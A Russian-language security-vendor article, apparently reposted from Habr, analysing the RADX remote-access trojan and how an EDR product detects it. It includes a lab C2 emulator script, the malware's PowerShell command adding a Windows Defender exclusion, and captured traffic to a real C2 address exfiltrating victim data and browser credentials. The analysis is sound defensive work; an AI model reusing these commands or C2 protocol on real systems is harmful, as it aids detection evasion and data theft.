Тот самый RAT-троян за 200 рублей: как защититься от RADX

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Всем привет! Меня зовут Валерий Слезкинцев, в Positive Technologies я руковожу направлением реагирования на конечных точках в отделе обнаружения вредоносного ПО в PT Expert Security Center (PT ESC). Наша команда занимается исследованиями MaxPatrol EDR в части выявления и реагирования на вредоносную активность на хостах. Мы пишем корреляционные правила для покрытия новых техник злоумышленников, анализируем существующие технологии и подходы к обнаружению и реагированию на угрозы. На основе этих данных пишем proof of concept модулей для последующего внедрения в продукт. Кроме того, наша группа мониторит трендовые атаки и воспроизводит их на лабораторных стендах. Это нужно, чтобы мы были уверены, что MaxPatrol EDR обнаруживает актуальные угрозы и позволяет защитить от них наших клиентов. Так, недавно мы заинтересовались новой серией кибератак с использованием трояна удаленного доступа под названием RADX. Об этом вы могли читать в различных статьях, например на SecurityLab. И конечно же, нам стало интересно, как MaxPatrol EDR обнаруживает этот троян и реагирует на него. Что мы в итоге узнали, расскажем и покажем в этой статье.

Initial Access

Атака начинается с фишингового письма.

Во вложении есть архив. Мы, имитируя невнимательного и неискушенного пользователя, сохраняем его на диск и распаковываем. Внутри оказывается файл «скрин оплаты за сервер.pdf.exe». Вот как он выглядит в File Explorer при скрытых расширениях.

Статический анализ показал, что это 32-битное консольное приложение, написанное на C/C++.

В коде мы заметили известные приемы обхода средств защиты:

  • API hashing для скрытия подозрительных импортов;

  • шифрование next-stage payload;

  • многократный вызов RegCloseKey (для затруднения динамического анализа).

Программа запускает легитимный процесс C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe с флагом CREATE_SUSPENDED» и внедряет в него вредоносный код через WriteProcessMemory, SetThreadContext и ResumeThread.

Про еще один примечательный RAT, который пока что атакует только китайскоговорящих пользователей, но может проявиться в любом уголке планеты, можно почитать в другой статье. Наши вирусные аналитики описали, как действуют его загрузчики, шеллкоды и основной модуль.

Next Stage

Следующая стадия выполняется в контексте легитимного AppLaunch.exe.

Это приложение .NET, которое устанавливает соединение с C2-сервером и ожидает от него дальнейших команд. Кроме того, оно умеет похищать пользовательские данные, выполнять команды в cmd.exe, открывать ссылки в браузере, загружать и запускать файлы в зараженной системе, получать информацию о компьютере жертвы и скрытно делать скриншоты. Закрепление в системе происходит с помощью Task Scheduler.

Для того чтобы более детально продемонстрировать возможности трояна RADX, мой коллега, ведущий эксперт отдела обнаружения вредоносного ПО Павел Максютин, проэмулировал процесс отправки команд с сервера злоумышленников. Для этого он использовал утилиту FakeNet-NG. В обработчике запросов от RADX мы поддержали следующие команды:

  • cmd — выполнение команды в cmd.exe (wmic process call create calc.exe);

  • stream_start, stream_stop — отправка скриншотов;

  • upload_file — загрузка файла на хост и его запуск (батник с запуском калькулятора);

  • open_link — открытие ссылки в браузере;

  • backup_info — сбор файлов с зараженной машины и их отправка на сервер.

Для того чтобы на тестовой машине работал EDR-агент, добавили его в ProcessBlackList в конфиге FakeNet-NG.

Код обработчика запросов RADX.
import socket
import json
import base64

user_uuid = "7dbc8678-05bc-48da-8959-92300520e879"
default_user_response = {
    "user": {
        "uuid": user_uuid,
        "city": "",
        "country": "",
        "ip": "",
        "postal": "",
        "processor": "",
        "ram": 0,
        "registered_at": "",
        "video_card": "",
        "windows_version": ""

    },
    "data": "",
    "filename": "",
    "message": ""
}

STATE = 0

def send_response(req, message="", data="", filename=""):
    response = default_user_response
    response["message"] = message
    response["data"] = data
    response["filename"] = filename
    response = json.dumps(response).encode()
    req.send_response(200)
    req.send_header('Content-Length', len(response))
    req.send_header('content-type', 'application/json; charset=utf-8')
    req.end_headers()
    req.wfile.write(response)
    print(b'sending response: ', response)

def HandleRequest(req, method, post_data=None):
    global STATE
    print('C2 call:', method, req.path)

    if req.path == '/add_user':
        send_response(req)
        STATE = 0
    elif req.path == f'/check/{user_uuid}':
        if STATE == 0:
            send_response(req, "cmd", "wmic process call create calc.exe")
            STATE = 1
        elif STATE == 1:
            send_response(req, "stream_start")
            STATE = 2
        elif STATE == 2:
            send_response(req, "stream_stop")
            STATE = 3
        elif STATE == 3:
            raw = base64.b64encode(b'calc.exe').decode()
            send_response(req, "upload_file", str(raw), "mycalc.bat")
            STATE = 4
        elif STATE == 4:
            send_response(req, "open_link", "http://google.com")
            STATE = 5
        elif STATE == 5:
            send_response(req, "backup_info")
            STATE = 6
    else:
        send_response(req)

Запускаем FakeNet-NG, запускаем EDR-агент, запускаем RADX.

Сразу видим событие, предупреждающее о запуске файла с двойным расширением.

Далее происходит любопытная вещь. Процесс пытается копировать свой image в %LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\. В случае первого запуска такой директории еще нет, и возникает исключение DirectoryNotFoundException. В обработчике этого исключения путь к несуществующему файлу в %LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af добавляется в исключения Defender, также создается задача в Task Scheduler на запуск этого файла. Причем в случае инжекта в LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af будет скопирован легитимный AppLaunch.exe. Закрепление в системе у RADX явно не продумано.

Итак, задача в Task Scheduler.

В MaxPatrol EDR видим соответствующее событие.

А вот Powershell-команда для добавления AppLaunch.exe в исключения Windows Defender.

powershell -Command Add-MpPreference -ExclusionPath "%localappdata%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\AppLaunch.exe"

Также получаем событие об обнаружении вредоносной активности.

Тем временем устанавливается соединение с C2.

После этого RADX пытается получить IP-адрес жертвы через ipinfo.io/json.

02/16/24 05:43:43 PM [    HTTPListener80]   GET /json HTTP/1.1
02/16/24 05:43:43 PM [    HTTPListener80]   Host: ipinfo.io
02/16/24 05:43:43 PM [    HTTPListener80]   Connection: Keep-Alive
02/16/24 05:43:43 PM [    HTTPListener80]   

Передает на сервер информацию о жертве, получая в ответ свой id.

2/16/24 05:43:45 PM [  HTTPListener1337]   POST /add_user HTTP/1.1
02/16/24 05:43:45 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 05:43:45 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:45 PM [  HTTPListener1337]   Content-Length: 227
02/16/24 05:43:45 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 05:43:45 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:45 PM [  HTTPListener1337]   
02/16/24 05:43:45 PM [  HTTPListener1337]   
02/16/24 05:43:45 PM [  HTTPListener1337] b'  {"ip":"45.88.97.66","country":"DE","postal":"60311","city":"Frankfurt am Main","windows_version":"Microsoft Windows NT 6.3.9600.0","ram":33222656,"video_card":"VMware SVGA 3D","processor":"12th Gen Intel(R) Core(TM) i7-12700H"}'

Далее RADX отправляет check/<id>, что означает, что все готово для получения дальнейших команд.

02/16/24 05:43:47 PM [  HTTPListener1337]   POST /check/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:47 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:47 PM [  HTTPListener1337]   Content-Length: 0
02/16/24 05:43:47 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:47 PM [  HTTPListener1337]   
02/16/24 05:43:47 PM [  HTTPListener1337]   
02/16/24 05:43:47 PM [  HTTPListener1337] b'  '

Наш сервер начинает отдавать команды и принимать ответы.

02/16/24 05:43:50 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 05:43:50 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 05:43:50 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:50 PM [  HTTPListener1337]   Content-Length: 470
02/16/24 05:43:50 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 05:43:50 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:50 PM [  HTTPListener1337]   
02/16/24 05:43:50 PM [  HTTPListener1337]   
02/16/24 05:43:50 PM [  HTTPListener1337] b'  {"cmd":"TWljcm9zb2Z0IFdpbmRvd3MgW1ZlcnNpb24gMTAuMC4xOTA0NS4zOTMwXQ0KKGMpIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg0KYzpcVXNlcnNcdnNcdGVzdFxyYWR4PndtaWMgcHJvY2VzcyBjYWxsIGNyZWF0ZSBjYWxjLmV4ZQ0KRXhlY3V0aW5nIChXaW4zMl9Qcm9jZXNzKS0+Q3JlYXRlKCkNDQpNZXRob2QgZXhlY3V0aW9uIHN1Y2Nlc3NmdWwuDQ0KT3V0IFBhcmFtZXRlcnM6DQppbnN0YW5jZSBvZiBfX1BBUkFNRVRFUlMNCnsNCglQcm9jZXNzSWQgPSA5Njg0Ow0KCVJldHVyblZhbHVlID0gMDsNCn07DQoNCmM6XFVzZXJzXHZzXHRlc3RccmFkeD5leGl0DQoKDQo="}'

Снимаем Base64.

Microsoft Windows [Version 10.0.19045.3930]
(c) Microsoft Corporation. All rights reserved.

c:\Users\vs\test\radx>wmic process call create calc.exe
Executing (Win32_Process)->Create() 
Method execution successful. 
Out Parameters:
instance of __PARAMETERS
{
	ProcessId = 9684;
	ReturnValue = 0;
};

c:\Users\vs\test\radx>exit

В MaxPatrol EDR видим следующее событие.

Далее RADX отправляет сообщение о начале передачи скриншотов.

02/16/24 05:43:55 PM [  HTTPListener1337]   GET /answer_stream_start/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:55 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:55 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:55 PM [  HTTPListener1337]   
02/16/24 05:43:55 PM [  HTTPListener1337]

И в следующих нескольких запросах отправляет пачку скриншотов.

02/16/24 05:43:57 PM [  HTTPListener1337]   POST /upload_screenshot/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:57 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 05:43:57 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:57 PM [  HTTPListener1337]   Content-Length: 290181
02/16/24 05:43:57 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 05:43:57 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:57 PM [  HTTPListener1337]   
02/16/24 05:43:57 PM [  HTTPListener1337]   
02/16/24 05:43:57 PM [  HTTPListener1337] b'  {"screenshot":"/9j/4AAQSkZJ … }

После получения команды на прекращение передачи скриншотов отправляет ответ.

02/16/24 05:44:00 PM [  HTTPListener1337]   GET /answer_stream_stop/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:44:00 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:44:00 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:44:00 PM [  HTTPListener1337]   
02/16/24 05:44:00 PM [  HTTPListener1337]

Далее следует ответ на команду upload_file.

02/16/24 07:22:29 PM [  HTTPListener1337] Storing HTTP POST headers and data to http_20240216_192229.txt.
02/16/24 07:22:31 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:31 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 07:22:31 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 07:22:31 PM [  HTTPListener1337]   Content-Length: 130
02/16/24 07:22:31 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 07:22:31 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 07:22:31 PM [  HTTPListener1337]   
02/16/24 07:22:31 PM [  HTTPListener1337]   
02/16/24 07:22:31 PM [  HTTPListener1337] b'  {"cmd":"0KTQsNC50LsgYzpcVXNlcnNcdnNcdGVzdFxyYWR4XG15Y2FsYy5iYXQg0YPRgdC/0LXRiNC90L4g0L7RgtC60YDRi9GCINC90LAg0LrQu9C40LXQvdGC0LUu"}'

Снимаем Base64.

Файл c:\Users\vs\test\radx\mycalc.bat успешно открыт на клиенте.

В MaxPatrol EDR видим следующее срабатывание.

Далее видим сообщение об успешно открытой ссылке.

02/16/24 07:22:36 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:36 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 07:22:36 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 07:22:36 PM [  HTTPListener1337]   Content-Length: 94
02/16/24 07:22:36 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 07:22:36 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 07:22:36 PM [  HTTPListener1337]   
02/16/24 07:22:36 PM [  HTTPListener1337]   
02/16/24 07:22:36 PM [  HTTPListener1337] b'  {"cmd":"0KHRgdGL0LvQutCwINGD0YHQv9C10YjQvdC+INC+0YLQutGA0YvRgtCwOiBodHRwOi8vZ29vZ2xlLmNvbQ=="}'

Снимаем Base64.

Ссылка успешно открыта: http://google.com

В MaxPatrol EDR видим следующую цепочку запусков.

После этого происходит отправка gzip-архива в ответ на команду backup_info.

02/16/24 07:22:47 PM [  HTTPListener1337]   POST /end-point-c-sharp/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 07:22:47 PM [  HTTPListener1337]   Content-Encoding: gzip
02/16/24 07:22:47 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 07:22:47 PM [  HTTPListener1337]   Content-Length: 68700
02/16/24 07:22:47 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 07:22:47 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 07:22:47 PM [  HTTPListener1337]   
02/16/24 07:22:47 PM [  HTTPListener1337]   
02/16/24 07:22:47 PM [  HTTPListener1337] b'  \x1f\x8b\x08\x00 …

В этом архиве лежит json следующего содержания.

{
  "additionalInfo": {
    "ip": "45.88.97.66",
    "country": "DE",
    "postal": "60311",
    "city": "Frankfurt am Main"
  },
  "DesktopFiles": [
    {
      "FilePath": "C:\\Users\\vs\\Desktop\\available_packages.txt",
      "FileExtension": ".txt",
      "FileContentBase64": "",
      "FileName": "available_packages.txt"
    },
    {
      "FilePath": "C:\\Users\\vs\\Desktop\\failed_packages.txt",
      "FileExtension": ".txt",
      "FileContentBase64": "",
      "FileName": "failed_packages.txt"
    }
  ],
  "Discord": [],
  "Wallets": [],
  "Extension": [],
  "Telegram": [],
  "dataBrowser": {
    "Microsoft Edge": {
      "localstate": "",
      "profiles": [
        {
          "ProfileName": "DEFAULT",
          "Cookies": "",
          "Logins": ""
        }
      ]
    },
    "Chrome": {
      "localstate": "",
      "profiles": [
        {
          "ProfileName": "Default",
          "Cookies": "",
          "Logins": ""
        }
      ]
    }
  }
}

 

Мы попросили коллег из команды обнаружения вредоносного ПО в сетевом трафике проверить PCAP, собранный с помощью FakeNet-NG, нашими внутренними инструментами для анализа сетевого трафика и получили детект. Это означает, что система поведенческого анализа сетевого трафика Positive Technologies — PT Network Attack Discovery — также обнаружит сетевой трафик RADX.

Рекомендации по настройке реагирования

Для эффективного реагирования пользователю необходимо добавить в политику MaxPatrol EDR следующие модули:

  • завершение процессов;

  • блокировка по IP-адресу;

  • отправка файлов в PT Sandbox.

На событие Malware_Trojan_Win32_Generic_a рекомендуется настроить действие «Завершить процесс», так как это событие с высокой долей вероятности является вредоносным.

Событие Double_File_Extension_Masquerading также является подозрительным. Имеет смысл отправлять такие файлы на проверку в песочницу, например в PT Sandbox.

Вот результат поведенческого анализа PT Sandbox для файла «скрин оплаты за сервер.pdf.exe».

Троян
Обнаруженное опасное ПО
Троян (Trojan.Win32.Inject.a)
Троян (Trojan.Win32.Generic.a)
Троян (Trojan.Win32.Generic.f)
Подозрительное поведение
10/10 Create.Process.Inject.ResumeThread
10/10 Write.Process.Inject.SetThreadContext (MITRE ATT&CK ID: T1055)
10/10 Create.Process.WinDef.AddExclusion (MITRE ATT&CK ID: T1562)
10/10 Create.Process.PowerShell.LongExecution (MITRE ATT&CK ID: T1059)
5/10 Create.Process.DotNet.RestrictionsBypass
5/10 Create.Process.PowerShell.CommandExecution
2/10 Read.Window.Handle.Enumeration (MITRE ATT&CK ID: T1010)

Также в качестве меры реагирования рекомендуется в модуль блокировки по IP-адресу добавить адреса C2.

Что будет дальше и как с этим жить

Как обычно, это самые важные и риторические вопросы для человека, но мы-то привыкли все проверять на практике и действовать проактивно. Для обеспечения безопасности клиентов важно не только обнаруживать вредоносную активность, но и уметь ее предотвращать. Сейчас мы работаем над модулями, которые позволят предотвратить выполнение вредоносного процесса и не дать злоумышленнику провести атаку в принципе. Предотвращение может быть выполнено как на этапе запуска процесса «скрин оплаты за сервер.pdf.exe» путем проверки его хеш-суммы по базе IoC, так и на этапе инжекта в легитимный AppLaunch.exe. А на случай использования ранее неизвестного образца ВПО, например эксплуатирующего уязвимость нулевого дня для выполнения вредоносного кода, мы готовим ML-решение, позволяющее выявлять аномальное поведение. Следите за обновлениями MaxPatrol EDR, будем рады делиться с вами результатами его развития.

Источник: https://habr.com/ru/companies/pt/articles/799617/


Интересные статьи

Интересные статьи

Алгоритмы важны. Но реализовать их можно очень по-разному. При одном и том же алгоритме, оптимизированная библиотека будет в тысячу раз быстрее наивной. Любите оптимизации, специализированные структ...
Приветствую всех! Думаю, всем нам известно, что вплоть до середины нулевых основным средством для переноса данных между компьютерами служили дискеты. Но, разумеется, нетрудно догадаться, что помимо...
Я часто задумывался над тем что наши идеи, периодически озаряющие нашу бытность, на самом деле нашими не являются. А витают в воздухе, иногда спускаясь в наш мир через узкий тоннель 8 битного сознан...
Около 70% поверхности Земли покрыто водой, потому нет ничего удивительного, что многие сухопутные живые существа обладают умением плавать. Люди также способны обучиться этому навыку, но не обладаю...
Kubernetes сейчас называют стандартом для оркестрации контейнеров. Он лежит в основе многих облачных платформ контейнеризации: например, мы давно развиваем наш Kubernetes aaS на платфор...